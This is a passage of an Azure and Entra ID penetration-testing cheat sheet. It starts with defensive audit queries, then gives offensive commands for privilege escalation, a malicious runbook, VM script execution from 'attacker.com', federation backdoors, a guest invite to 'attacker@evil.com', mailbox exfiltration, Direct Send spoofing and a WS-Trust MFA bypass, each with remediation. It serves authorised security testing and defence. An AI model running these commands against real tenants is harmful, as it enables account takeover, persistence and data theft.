*/Internet/0.0.0.0/0— direct management port exposure, brute-force target. - Wildcard port rules (
*) that implicitly include management ports. - NSGs attached to subnets with VMs vs. standalone (unattached NSGs are noise).
NSG Outbound Rules — Unrestricted Egress
# PowerShell: NSGs with Allow-All outbound (data exfil risk)
Get-AzNetworkSecurityGroup | ForEach-Object {
$nsg = $_
$_.SecurityRules | Where-Object {
$_.Direction -eq 'Outbound' -and
$_.Access -eq 'Allow' -and
$_.DestinationPortRange -eq '*' -and
$_.DestinationAddressPrefix -eq '*'
} | Select-Object `
@{N='NSG';E={$nsg.Name}},
@{N='RG';E={$nsg.ResourceGroupName}},
Name, Priority
}
# Azure CLI: NSGs with unrestricted outbound
az network nsg list --query "[].{NSG:name, RG:resourceGroup}" -o tsv | while read NSG RG; do
az network nsg rule list --nsg-name "$NSG" --resource-group "$RG" \
--query "[?direction=='Outbound' && access=='Allow' && destinationPortRange=='*' && destinationAddressPrefix=='*']" \
-o table 2>/dev/null
done
What to flag:
- Allow-all outbound rules — no egress filtering means compromised workloads can exfiltrate data, reach C2, or attempt outbound NTLM relay with no network-layer control.
- Particularly critical on subnets hosting sensitive data-processing VMs.
AKS Security Configuration
# PowerShell: AKS cluster security posture
Get-AzAksCluster | Select-Object `
Name, ResourceGroupName,
@{N='PublicFQDN';E={$_.Fqdn}},
@{N='PrivateCluster';E={$_.ApiServerAccessProfile.EnablePrivateCluster}},
@{N='LocalAccounts';E={$_.DisableLocalAccounts}},
@{N='AadEnabled';E={$null -ne $_.AadProfile}},
@{N='AadManaged';E={$_.AadProfile.Managed}},
@{N='AuthorizedIPs';E={$_.ApiServerAccessProfile.AuthorizedIPRanges -join ', '}}
# Azure CLI: AKS public API server + local account status
az aks list --query "[].{Name:name, RG:resourceGroup, PrivateCluster:apiServerAccessProfile.enablePrivateCluster, LocalDisabled:disableLocalAccounts, Fqdn:fqdn}" -o table
# Check Entra integration
az aks list --query "[].{Name:name, AadManaged:aadProfile.managed, AadTenantId:aadProfile.tenantId}" -o table
What to flag:
EnablePrivateCluster = Falsewith no authorized IP ranges — the Kubernetes API server is reachable from the internet.DisableLocalAccounts = False— Kubernetes local accounts (clusterAdmin) bypass Entra ID authentication entirely.- No Entra (AAD) integration — all cluster access uses unauditable Kubernetes-native credentials.
Defender for Cloud Plan Coverage
# PowerShell: Check Defender plan status per subscription
Get-AzSecurityPricing | Select-Object Name, PricingTier |
Format-Table -AutoSize
# Check across multiple subscriptions
Get-AzSubscription | ForEach-Object {
Set-AzContext -SubscriptionId $_.Id -ErrorAction SilentlyContinue | Out-Null
Get-AzSecurityPricing | Select-Object `
@{N='Subscription';E={$_.Id -replace '.*/',''}},
Name, PricingTier
}
# Azure CLI: Defender plan status
az security pricing list --query "[].{Plan:name, Tier:pricingTier}" -o table
What to flag:
PricingTier = Freeon any plan — that workload type has no Defender coverage (no threat detection, no vulnerability scanning, no adaptive controls).- Key plans to check:
VirtualMachines,SqlServers,AppServices,StorageAccounts,KeyVaults,Arm,Dns,Containers. - Even a single plan at Free tier is a gap worth reporting.
Subscription Activity Log Export
# PowerShell: Check if Activity Log is being exported
$subId = (Get-AzContext).Subscription.Id
$settings = Get-AzSubscriptionDiagnosticSetting -SubscriptionId $subId
if (-not $settings) {
Write-Warning "No Activity Log export configured for subscription $subId"
} else {
$settings | Select-Object Name,
@{N='Workspace';E={$_.WorkspaceId}},
@{N='StorageAccount';E={$_.StorageAccountId}},
@{N='EventHub';E={$_.EventHubAuthorizationRuleId}}
}
# Azure CLI
SUB_ID=$(az account show --query id -o tsv)
az monitor diagnostic-settings subscription list --subscription "$SUB_ID" -o table
# Empty output = Activity Log is not exported anywhere
What to flag:
- No diagnostic setting on the subscription — Activity Log events (RBAC changes, resource creation/deletion, policy actions) are visible in the portal for 90 days only and are not exported to a SIEM or long-term storage for incident response.
- Events go to a storage account but not a Log Analytics workspace — they are stored but not queryable or alertable.
Secrets in App Service Application Settings
# PowerShell: Enumerate app settings looking for secrets (requires website Contributor or higher)
Get-AzWebApp | ForEach-Object {
$app = Get-AzWebApp -ResourceGroupName $_.ResourceGroup -Name $_.Name
$secrets = $app.SiteConfig.AppSettings | Where-Object {
$_.Name -match '(?i)(password|secret|key|token|connectionstring|apikey|sas)'
}
if ($secrets) {
[PSCustomObject]@{
App = $_.Name
RG = $_.ResourceGroup
Secrets = ($secrets | ForEach-Object { "$($_.Name)=<REDACTED>" }) -join '; '
}
}
}
# Azure CLI: List app settings and filter for secret-like names
az webapp list --query "[].{Name:name, RG:resourceGroup}" -o tsv | while read NAME RG; do
az webapp config appsettings list --name "$NAME" --resource-group "$RG" \
--query "[?contains(name,'password') || contains(name,'secret') || contains(name,'key') || contains(name,'token') || contains(name,'connectionstring')].{Setting:name}" -o table 2>/dev/null
done
What to flag:
- Secrets stored as plain-text app settings instead of Key Vault references (
@Microsoft.KeyVault(...)) — anyone withMicrosoft.Web/sites/config/list/Actioncan read them. - Connection strings containing embedded passwords.
- SAS tokens or API keys hard-coded in settings.
VM RunCommand RBAC Audit
# PowerShell: Who has Run Command access on VMs? (control-plane → data-plane escalation)
$targetActions = @(
'Microsoft.Compute/virtualMachines/runCommand/action',
'Microsoft.Compute/virtualMachines/*',
'*/write',
'*'
)
Get-AzRoleAssignment | Where-Object {
$_.Scope -match '/providers/Microsoft.Compute/virtualMachines' -or
$_.Scope -match '/subscriptions/[^/]+$' -or
$_.Scope -match '/resourceGroups/[^/]+$'
} | ForEach-Object {
$roleDef = Get-AzRoleDefinition -Id ($_.RoleDefinitionId)
$hasRunCmd = $roleDef.Actions | Where-Object { $action = $_; $targetActions | Where-Object { $action -like $_ } }
if ($hasRunCmd) {
[PSCustomObject]@{
Principal = $_.DisplayName
PrincipalType = $_.ObjectType
Role = $_.RoleDefinitionName
Scope = $_.Scope
}
}
}
# Azure CLI: List role assignments that include VM Run Command
az role assignment list --all --query "[?contains(scope,'Microsoft.Compute') || contains(scope,'/subscriptions/')].{Principal:principalName, Role:roleDefinitionName, Scope:scope}" -o table
# Then check role definitions for runCommand/action
az role definition list --query "[?contains(permissions[].actions[],'runCommand') || contains(permissions[].actions[],'virtualMachines/*')].{Role:roleName, Actions:permissions[].actions[]}" -o table
What to flag:
- Non-admin principals with
runCommand/action— they can execute arbitrary code on VMs as SYSTEM/root, effectively escalating from control-plane RBAC to full OS-level access. - Overly broad roles (
Contributor,Virtual Machine Contributor) at subscription/RG scope grant this implicitly.
VM Disk Encryption — Customer-Managed Keys
# PowerShell: Check disk encryption type (platform vs customer-managed keys)
Get-AzDisk | Select-Object `
Name, ResourceGroupName, ManagedBy,
@{N='EncryptionType';E={$_.Encryption.Type}},
@{N='DiskEncryptionSetId';E={$_.Encryption.DiskEncryptionSetId}},
OsType
# Azure CLI: Disks without customer-managed key encryption
az disk list --query "[].{Name:name, RG:resourceGroup, EncryptionType:encryption.type, DiskEncryptionSet:encryption.diskEncryptionSetId}" -o table
What to flag:
EncryptionType = EncryptionAtRestWithPlatformKey— disks use Microsoft-managed keys only. This is the default and meets most compliance baselines, but organizations with strict key-custody requirements should use customer-managed keys (CMK).- No
DiskEncryptionSetId— no CMK configured. - Note: This is a lower-severity finding; report it when the client’s policy or regulatory framework requires CMK.
Outbound NTLM / SMB Credential Disclosure
# PowerShell: Check Windows VMs for outbound NTLM restriction (requires Run Command or remote access)
# Step 1: Identify VMs that may be vulnerable (check NSGs for outbound SMB)
Get-AzNetworkSecurityGroup | ForEach-Object {
$nsg = $_
$_.SecurityRules | Where-Object {
$_.Direction -eq 'Outbound' -and
$_.Access -eq 'Allow' -and
($_.DestinationPortRange -in @('445','*') -or
$_.DestinationPortRange -match '445')
} | Select-Object `
@{N='NSG';E={$nsg.Name}},
Name, DestinationPortRange, DestinationAddressPrefix
}
# Step 2: On a Windows VM (via Run Command or RDP), check NTLM restriction registry
# Invoke-AzVMRunCommand -ResourceGroupName <RG> -VMName <VM> -CommandId RunPowerShellScript -ScriptString '
# Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" -Name RestrictSendingNTLMTraffic -ErrorAction SilentlyContinue
# '
# Azure CLI: Check NSGs for outbound 445 (SMB) to internet
az network nsg list --query "[].{NSG:name, RG:resourceGroup}" -o tsv | while read NSG RG; do
az network nsg rule list --nsg-name "$NSG" --resource-group "$RG" \
--query "[?direction=='Outbound' && access=='Allow' && (destinationPortRange=='445' || destinationPortRange=='*')]" \
-o table 2>/dev/null
done
What to flag:
- Outbound port 445 allowed to
*/Internet— Windows VMs can send NTLM authentication to attacker-controlled SMB servers (e.g., via a UNC link in a phishing email or document), leaking NTLMv2 hashes for offline cracking or relay. RestrictSendingNTLMTrafficregistry key not set to2(Deny all) — Windows will auto-authenticate to external SMB servers.- Combine with NSG outbound audit for a network + host layered check.
19. Privilege Escalation Vectors
Application Ownership Takeover
# If you own an application, add a credential and authenticate as it
$App = Get-MgApplication -Filter "displayName eq 'TargetApp'"
$NewCred = Add-MgApplicationPassword -ApplicationId $App.Id -PasswordCredential @{DisplayName="pentest"; EndDateTime=(Get-Date).AddDays(30)}
Write-Host "Client Secret: $($NewCred.SecretText)"
# Now authenticate as the app
$SecurePassword = ConvertTo-SecureString $NewCred.SecretText -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($App.AppId, $SecurePassword)
Connect-MgGraph -TenantId "<tenant_id>" -ClientSecretCredential $Credential
Service Principal Credential Stuffing
# If you can add credentials to a service principal that has high privileges
$SP = Get-MgServicePrincipal -Filter "displayName eq 'TargetSP'"
$App = Get-MgApplication -Filter "appId eq '$($SP.AppId)'"
$Cred = Add-MgApplicationPassword -ApplicationId $App.Id -PasswordCredential @{DisplayName="test"}
# Authenticate as the service principal using the new credential
Dynamic Group Attribute Manipulation
# Find a dynamic group with a role assignment
# Modify your attributes to match its membership rule
Update-MgUser -UserId $MyUserId -Department "IT" -JobTitle "Admin"
# Wait for dynamic group processing to add you
Managed Identity Exploitation
# If you have access to a VM with a managed identity
# From inside the VM, get the managed identity token
$Token = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers @{Metadata="true"}
# Use the token to access Azure resources
Connect-AzAccount -AccessToken $Token.access_token -AccountId "<managed_identity_client_id>"
Key Vault Secret Access
# If you have Get permissions on Key Vault secrets
Get-AzKeyVaultSecret -VaultName "<vault>" | ForEach-Object { $Secret = Get-AzKeyVaultSecret -VaultName "<vault>" -Name $_.Name -AsPlainText; Write-Host "$($_.Name): $Secret" }
Automation Account Runbook Abuse
# Create a malicious runbook in an automation account you can access
$RunbookContent = 'Write-Output (Get-AzAccessToken -ResourceUrl "https://management.azure.com/").Token'
Set-Content -Path ".\malicious.ps1" -Value $RunbookContent
Import-AzAutomationRunbook -AutomationAccountName "<acct>" -ResourceGroupName "<rg>" -Path ".\malicious.ps1" -Type PowerShell -Name "MaliciousRunbook"
Publish-AzAutomationRunbook -AutomationAccountName "<acct>" -ResourceGroupName "<rg>" -Name "MaliciousRunbook"
Start-AzAutomationRunbook -AutomationAccountName "<acct>" -ResourceGroupName "<rg>" -Name "MaliciousRunbook"
20. Lateral Movement
Cross-Resource Pivoting
# Use VM Run Command for code execution on other VMs
Invoke-AzVMRunCommand -ResourceGroupName "<rg>" -VMName "<vm>" -CommandId 'RunPowerShellScript' -ScriptString 'whoami; ipconfig; net user'
# Custom Script Extension (persistent code execution)
Set-AzVMCustomScriptExtension -ResourceGroupName "<rg>" -VMName "<vm>" -Location "<location>" -Name "CustomScript" -Run "malicious.ps1" -FileUri "https://attacker.com/malicious.ps1"
# Access storage account data
$Context = New-AzStorageContext -StorageAccountName "<account>" -StorageAccountKey "<key>"
Get-AzStorageBlob -Container "<container>" -Context $Context
Get-AzStorageBlobContent -Container "<container>" -Blob "<blob>" -Destination ".\downloaded_file" -Context $Context
Azure AD to On-Premises
# AADInternals: Extract Azure AD Connect credentials
Get-AADIntSyncCredentials
# AADInternals: Perform pass-through authentication abuse
Install-AADIntPTASpy
# AADInternals: Access on-prem AD via Azure AD Connect
Get-AADIntADUserNTHash -ObjectId "<user_object_id>"
Cross-Cloud (Azure to AWS)
# If Azure has SAML federation with AWS (e.g., AWS IAM Identity Center)
# Enumerate the AWS SSO application
$AWSSP = Get-MgServicePrincipal -Filter "displayName eq 'AWS IAM Identity Center (successor to AWS Single Sign-On)'"
# Check which groups have access
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $AWSSP.Id | Select-Object PrincipalDisplayName, PrincipalType
# If you can join those groups, you get AWS access through SAML federation
21. Persistence Techniques
Application-Based Persistence
# Create a stealthy application with a long-lived credential
$App = New-MgApplication -DisplayName "DiagnosticsConnector" -SignInAudience "AzureADMyOrg"
$Cred = Add-MgApplicationPassword -ApplicationId $App.Id -PasswordCredential @{DisplayName="backup"; EndDateTime=(Get-Date).AddYears(2)}
$SP = New-MgServicePrincipal -AppId $App.AppId
# Grant it permissions via admin consent
Federation Backdoor (AADInternals)
# Create a backdoor domain for persistent access
ConvertTo-AADIntBackdoor -DomainName "targetdomain.com"
# This allows logging in as ANY user without their password, bypassing MFA
# Check for existing backdoors
Find-AADIntBackdoor
Guest Account Persistence
# Invite a guest user you control
New-MgInvitation -InvitedUserEmailAddress "attacker@evil.com" -InviteRedirectUrl "https://myapps.microsoft.com" -SendInvitationMessage:$false
22. Data Access & Exfiltration
GraphRunner (Comprehensive)
# Search emails
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" -MessageCount 50
# Search SharePoint and OneDrive
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "confidential"
# Search Teams messages
Invoke-SearchTeams -Tokens $tokens -SearchTerm "password"
# Download files from OneDrive
Get-OneDriveFiles -Tokens $tokens
# Download files from SharePoint
Get-SharePointSiteURLs -Tokens $tokens
AADInternals
# Access user's OneDrive files
Get-AADIntOneDriveFiles -UserPrincipalName "user@domain.com"
# Send emails as any user (requires adequate permissions)
Send-AADIntOutlookMessage -Recipient "target@external.com" -Subject "Test" -Message "Test" -SaveToSentItems $false
Microsoft Graph API Direct Calls
$Headers = @{ "Authorization" = "Bearer $Token" }
# Read emails
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users/<user_id>/messages?\$top=50&\$select=subject,from,receivedDateTime" -Headers $Headers
# Read OneDrive files
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users/<user_id>/drive/root/children" -Headers $Headers
# Read Teams messages
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users/<user_id>/joinedTeams" -Headers $Headers
23. Suspicious Application Detection
Microsoft Graph PowerShell
# Find apps with suspicious naming patterns
Get-MgApplication -All | Where-Object { $_.DisplayName -match "bot|backdoor|temp|hack|shell|cmd|exec|payload" -or $_.DisplayName -like "*/*" -or $_.DisplayName -like "*=*" -or $_.DisplayName -match "[A-Za-z0-9+/]{20,}={0,2}$" } | Select-Object DisplayName, AppId, Id
# Check if suspicious app is from your tenant or external
$App = Get-MgApplication -Filter "appId eq '<suspicious_app_id>'"
$SP = Get-MgServicePrincipal -Filter "appId eq '<suspicious_app_id>'"
[PSCustomObject]@{ DisplayName = $SP.DisplayName; AppId = $SP.AppId; SPType = $SP.ServicePrincipalType; AccountEnabled = $SP.AccountEnabled; Publisher = $SP.PublisherName; OwnerTenantId = $SP.AppOwnerOrganizationId }
# Decode base64-like strings in app names
$SuspiciousString = "<base64_string>"
try { $Bytes = [System.Convert]::FromBase64String($SuspiciousString); $Hex = [System.BitConverter]::ToString($Bytes) -replace '-',''; Write-Host "Hex: $Hex"; Write-Host "Length: $($Bytes.Length) bytes" } catch { Write-Host "Not valid base64" }
# Check sign-in logs for suspicious app usage
Get-MgAuditLogSignIn -Filter "appId eq '<suspicious_app_id>'" -Top 50 | Select-Object CreatedDateTime, UserPrincipalName, AppDisplayName, IpAddress, Status
AADInternals - Detect Federation Backdoors
# Scan for AADInternals backdoors in federated domains
Find-AADIntBackdoor
24. Quick and Easy Findings
These are high-impact, low-effort findings that come up frequently during M365/Entra ID engagements. Each here are just somethings I have researched, and found in real world engagements that are easy to detect/pick up but also more importantly they are easy to exploit. I always check these to grab low hanging fruit for my azure engagements!
24.1 Direct Send Email Spoofing (Mimecast/Gateway Bypass)
Exchange Online exposes a public SMTP endpoint (<tenant>.mail.protection.outlook.com) on port 25 that accepts email via “Direct Send.” If no inbound connector restricts this endpoint to the org’s email gateway IPs, anyone with an email address can send spoofed internal emails directly to Exchange Online, completely bypassing Mimecast, Proofpoint, or whatever gateway sits in front. This is very powerful as its hard to forensically discover who the email actually came from, but also more importantly, its easy winnings for lateral movement
How to check:
# Step 1: Find the MX (likely points to a gateway like Mimecast)
Resolve-DnsName -Name targetdomain.com -Type MX -Server 8.8.8.8
# Step 2: Resolve the Direct Send endpoint
Resolve-DnsName -Name "targetdomain-com.mail.protection.outlook.com" -Server 8.8.8.8
# Step 3: Test port 25 connectivity (bypassing the gateway entirely)
Test-NetConnection -ComputerName "targetdomain-com.mail.protection.outlook.com" -Port 25
# Step 4: Send a spoofed email - no credentials required
Send-MailMessage `
-From "ceo@targetdomain.com" `
-To "yourtestaccount@targetdomain.com" `
-Subject "[PENTEST] Direct Send Spoofing Test" `
-Body "This email was sent directly to Exchange Online with no authentication, bypassing the email security gateway entirely." `
-SmtpServer "targetdomain-com.mail.protection.outlook.com" `
-Port 25
What to look for: If the email lands in the inbox (or even junk), the finding is confirmed. Check the message headers to verify it did not route through the gateway.
Remediation: Create an Exchange Online inbound connector that only accepts mail from the gateway’s published IP ranges (e.g., Mimecast AU IPs). Reject all other inbound SMTP on the mail.protection.outlook.com endpoint.
24.2 WS-Trust Active Endpoint MFA Bypass (Federated Tenants)
For tenants using federation (Okta, ADFS, OneLogin, PingFederate, etc.), WS-Trust active endpoints may allow authentication with only username and password, bypassing MFA entirely. The protocol predates MFA and lacks native support for it, so the IdP has to bolt MFA on separately – and often doesn’t for the active/legacy endpoint. A successful attack returns a SAML 1 token that can be pivoted to a modern OAuth token, giving full account access as if MFA was passed.
How to check:
# Step 1: Determine if the tenant is federated
$userrealmv2 = Invoke-RestMethod -Uri "https://login.microsoftonline.com/common/userrealm/user@targetdomain.com?api-version=2.0"
$userrealmv2 | ConvertTo-Json
# If NameSpaceType = "Federated", look for the STSAuthURL - that is the active endpoint
# If NameSpaceType = "Managed", this finding does not apply
# Step 2: Get more detail from the legacy realm endpoint
$realm = Invoke-RestMethod -Uri "https://login.microsoftonline.com/getuserrealm.srf?login=user@targetdomain.com&xml=1"
$realm
# Look for the STSAuthURL field - common paths:
# https://youridp.com/adfs/services/trust/2005/usernamemixed
# https://youridp.com/adfs/services/trust/13/usernamemixed
# Step 3: Send a SAML request directly to the active endpoint
$endpoint = "THE_STSAUTHURL_YOU_FOUND"
$username = "user@targetdomain.com"
$password = "password"
$body = @"
<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:a="http://www.w3.org/2005/08/addressing"
xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
<a:To s:mustUnderstand="1">$endpoint</a:To>
<o:Security s:mustUnderstand="1" xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
<o:UsernameToken>
<o:Username>$username</o:Username>
<o:Password>$password</o:Password>
</o:UsernameToken>
</o:Security>
</s:Header>
<s:Body>
<trust:RequestSecurityToken xmlns:trust="http://schemas.xmlsoap.org/ws/2005/02/trust">
<wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
<a:EndpointReference>
<a:Address>urn:federation:MicrosoftOnline</a:Address>
</a:EndpointReference>
</wsp:AppliesTo>
<trust:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</trust:KeyType>
<trust:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</trust:RequestType>
</trust:RequestSecurityToken>
</s:Body>
</s:Envelope>
"@
$response = Invoke-WebRequest -Uri $endpoint -Method POST -Body $body -ContentType "application/soap+xml; charset=utf-8"
$response.Content
# Step 4: If you get a SAML 1 token back (look for <saml:Assertion> in the response),
# pivot it to a modern session by POSTing the token to:
# https://login.microsoftonline.com/login.srf
# A successful pivot returns an ESTSAUTH cookie = full account access without MFA.
What to look for: If the response contains a <saml:Assertion> element with a valid token and no MFA challenge occurred, the endpoint is vulnerable. Also try the IP spoofing bypass (X-MS-FORWARDED-CLIENT-IP: 127.0.0.1 header), empty User-Agent, and trailing slash on the endpoint URL as additional bypass techniques.
Remediation: Disable WS-Trust active endpoints on the IdP if possible. If the endpoint is required for legacy clients, enforce MFA on it and restrict access by IP. Disable legacy authentication via Conditional Access policies as a defense-in-depth measure.
24.3 Legacy Authentication Protocols Not Blocked
Legacy authentication protocols (POP3, IMAP4, SMTP AUTH, Exchange ActiveSync, Exchange Web Services) do not support modern Conditional Access controls or interactive MFA prompts. If these protocols are not explicitly blocked by a Conditional Access policy, an attacker with valid credentials (from phishing, credential stuffing, or a breach dump) can authenticate directly without triggering MFA, even when MFA is enforced for browser and modern client sign-ins.
How to check:
# Check for a CA policy that blocks legacy auth
$CAPolicies = Get-MgIdentityConditionalAccessPolicy -All
$LegacyBlock = $CAPolicies | Where-Object {
$_.Conditions.ClientAppTypes -contains "exchangeActiveSync" -or
$_.Conditions.ClientAppTypes -contains "other"
}
if (-not $LegacyBlock) {
Write-Host "FINDING: No Conditional Access policy blocks legacy authentication protocols"
} else {
$LegacyBlock | ForEach-Object {
Write-Host "Policy: $($_.DisplayName) - State: $($_.State)"
# Check if it's actually enforcing (not report-only)
if ($_.State -ne "enabled") { Write-Host " WARNING: Policy exists but is NOT enabled (report-only or disabled)" }
}
}
# Check sign-in logs for active legacy protocol usage
Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/auditLogs/signIns?`$top=200" |
Select-Object -ExpandProperty value |
Where-Object { $_.clientAppUsed -in @("Authenticated SMTP","POP3","IMAP4","Exchange ActiveSync","Other clients","Exchange Web Services") } |
Select-Object userPrincipalName, clientAppUsed, ipAddress, createdDateTime |
Format-Table
What to look for: No blocking CA policy, or a policy that exists but is in report-only mode. Active sign-ins from legacy protocols in the logs confirm the attack surface is live.
Remediation: Create a Conditional Access policy targeting All Users, All Cloud Apps, with Client Apps condition set to “Exchange ActiveSync clients” and “Other clients”, with a Grant control of “Block”. Ensure it is in Enabled state, not report-only.
24.4 Security Defaults Disabled with No Conditional Access Replacement
Security Defaults is Microsoft’s baseline MFA enforcement that is enabled by default on new tenants. Organizations that upgrade to Entra ID P1/P2 licensing typically disable Security Defaults to use Conditional Access policies instead. However, if Security Defaults is disabled and no equivalent CA policies exist to enforce MFA, the tenant has no MFA enforcement at all, meaning every account can be compromised with just a password.
How to check:
# Check Security Defaults status
$SecDefaults = Get-MgPolicyIdentitySecurityDefaultEnforcementPolicy
Write-Host "Security Defaults Enabled: $($SecDefaults.IsEnabled)"
# If disabled, check for CA policies that require MFA
$MFAPolicies = Get-MgIdentityConditionalAccessPolicy -All | Where-Object {
$_.State -eq "enabled" -and
($_.GrantControls.BuiltInControls -contains "mfa" -or $_.GrantControls.AuthenticationStrength)
}
if (-not $SecDefaults.IsEnabled -and -not $MFAPolicies) {
Write-Host "CRITICAL FINDING: Security Defaults is disabled and NO Conditional Access policy enforces MFA"
} elseif (-not $SecDefaults.IsEnabled -and $MFAPolicies) {
Write-Host "Security Defaults disabled, but $($MFAPolicies.Count) CA policies enforce MFA:"
$MFAPolicies | ForEach-Object { Write-Host " $($_.DisplayName)" }
}
What to look for: Security Defaults disabled with zero CA policies enforcing MFA. Also check if existing MFA CA policies only cover a subset of users or apps, leaving gaps.
Remediation: Either re-enable Security Defaults (if CA is not in use) or create Conditional Access policies that require MFA for All Users on All Cloud Apps, with appropriate exclusions only for break-glass accounts.
24.5 Users Can Consent to Apps (Illicit Consent Grant Attack Surface)
If the tenant allows users to consent to third-party applications on their own behalf, an attacker can host a malicious OAuth application and phish a user into granting it permissions like Mail.Read, Files.ReadWrite.All, or User.Read. Once consent is granted, the attacker’s app has persistent API access to the user’s data, independent of the user’s password. Changing the password does not revoke the OAuth grant.
How to check:
# Check the authorization policy
$AuthPolicy = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
# Check if users can consent to apps
$ConsentPolicies = $AuthPolicy.defaultUserRolePermissions.permissionGrantPoliciesAssigned
Write-Host "User consent policies: $($ConsentPolicies -join ', ')"
# "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" = users can consent to ANY app (finding!)
# "ManagePermissionGrantsForSelf.microsoft-user-default-low" = users can consent to verified publisher apps with low-impact permissions (safer)
# Empty or no self-service policy = users cannot consent (most secure)
if ($ConsentPolicies -match "microsoft-user-default-legacy") {
Write-Host "FINDING: Users can consent to ANY third-party application - illicit consent grant phishing is possible"
}
# Also check if users can register applications
Write-Host "Users can register apps: $($AuthPolicy.defaultUserRolePermissions.allowedToCreateApps)"
What to look for: The microsoft-user-default-legacy consent policy means users can approve any app requesting any delegated permission without admin involvement. Even the microsoft-user-default-low policy can be a finding depending on the org’s risk appetite.
Remediation: Set the permission grant policy to only allow consent to apps from verified publishers with low-impact permissions, or disable user consent entirely and require admin consent for all apps. Enable the admin consent workflow so users can request access to apps through a governed process.
24.6 DMARC Policy Not Set to Reject
DMARC (Domain-based Message Authentication, Reporting & Conformance) tells receiving mail servers what to do when an email fails SPF and DKIM checks. Many organizations deploy DMARC in monitor-only mode (p=none) and never progress to enforcement (p=quarantine or p=reject). With p=none, spoofed emails from the org’s domain are delivered normally to external recipients, enabling phishing campaigns that impersonate the organization to its clients, partners, and vendors.
How to check:
# Check DMARC record
Resolve-DnsName -Name "_dmarc.targetdomain.com" -Type TXT -Server 8.8.8.8
# Check SPF record
Resolve-DnsName -Name "targetdomain.com" -Type TXT -Server 8.8.8.8 | Where-Object { $_.Strings -match "v=spf1" }
# What to look for in DMARC:
# p=none -> FINDING: emails that fail auth checks are delivered anyway (monitor only)
# p=quarantine -> OK but not ideal: failed emails go to junk
# p=reject -> Best: failed emails are dropped
# No record -> FINDING: no DMARC at all, spoofing is trivially easy
# Also check for SPF soft fail:
# ~all -> soft fail (tag but deliver) - weaker
# -all -> hard fail (reject) - stronger
# ?all -> neutral (do nothing) - FINDING
What to look for: p=none or no DMARC record at all. Also flag SPF records ending in ~all (soft fail) or ?all (neutral) rather than -all (hard fail). Check all domains the org owns, including parked/unused ones, as attackers commonly spoof non-primary domains that lack DNS records.
Remediation: Progress DMARC to p=quarantine then p=reject. Ensure SPF records are accurate and end with -all. Enable DKIM signing. Apply DMARC records to all owned domains, including parked ones (use v=DMARC1; p=reject; with an SPF of v=spf1 -all for domains that should never send email).
24.7 Storage Accounts Allowing Shared Key Authentication
Finding: Azure storage accounts are configured to accept shared key authentication. Shared keys grant full data-plane access to the entire storage account and cannot be scoped to specific containers, conditioned with MFA or Conditional Access, or tied to a specific user identity. If a shared key is leaked (deployment scripts, source code, logs), an attacker gains complete access to all blobs, queues, tables, and files in the account.
How to check:
# PowerShell
Get-AzStorageAccount | Where-Object { $_.AllowSharedKeyAccess -ne $false } |
Select-Object StorageAccountName, ResourceGroupName, AllowSharedKeyAccess
# Azure CLI
az storage account list --query "[?allowSharedKeyAccess!=\`false\`].{Name:name, RG:resourceGroup, SharedKey:allowSharedKeyAccess}" -o table
Impact: An attacker who obtains a shared key (from a config file, pipeline variable, or compromised developer machine) has unrestricted read/write access to the entire storage account, bypassing all Entra ID authentication and Conditional Access controls.
Remediation: Set AllowSharedKeyAccess to false on each storage account and migrate all applications to use Entra ID authentication (managed identities with the Storage Blob Data Contributor/Reader RBAC role). Test thoroughly — some Azure services and legacy SDKs still depend on shared keys.
24.8 Key Vault Without Purge Protection
Finding: Azure Key Vaults are configured without purge protection enabled. When purge protection is disabled, a compromised administrator or an attacker with sufficient privileges can permanently delete secrets, keys, and certificates — even those in a soft-deleted state — with no possibility of recovery.
How to check:
# PowerShell
Get-AzKeyVault | ForEach-Object {
$vault = Get-AzKeyVault -VaultName $_.VaultName
[PSCustomObject]@{
VaultName = $vault.VaultName
SoftDelete = $vault.EnableSoftDelete
PurgeProtection = $vault.EnablePurgeProtection
}
} | Where-Object { $_.PurgeProtection -ne $true }
# Azure CLI
az keyvault list --query "[].{Name:name, SoftDelete:properties.enableSoftDelete, PurgeProtection:properties.enablePurgeProtection}" -o table
Impact: A privileged attacker (or disgruntled insider) can permanently destroy cryptographic keys and secrets, causing irreversible data loss. Encrypted data whose key is purged becomes permanently unrecoverable.
Remediation: Enable purge protection on all Key Vaults: Update-AzKeyVault -VaultName <name> -EnablePurgeProtection. Note that this is a one-way operation and cannot be reversed. Enable soft-delete as well (now default on new vaults).
24.9 App Service Basic Publishing Credentials Enabled
Finding: Azure App Services have basic authentication (FTP/SCM publishing credentials) enabled. These are long-lived, account-level credentials that bypass Entra ID authentication entirely. They are shared across all deployment slots and cannot be scoped, conditioned with MFA, or audited through Entra sign-in logs.
How to check:
# PowerShell
Get-AzWebApp | ForEach-Object {
$ftp = Get-AzResource -ResourceId "$($_.Id)/basicPublishingCredentialsPolicies/ftp" -ApiVersion 2022-03-01 -ErrorAction SilentlyContinue
$scm = Get-AzResource -ResourceId "$($_.Id)/basicPublishingCredentialsPolicies/scm" -ApiVersion 2022-03-01 -ErrorAction SilentlyContinue
[PSCustomObject]@{
App = $_.Name
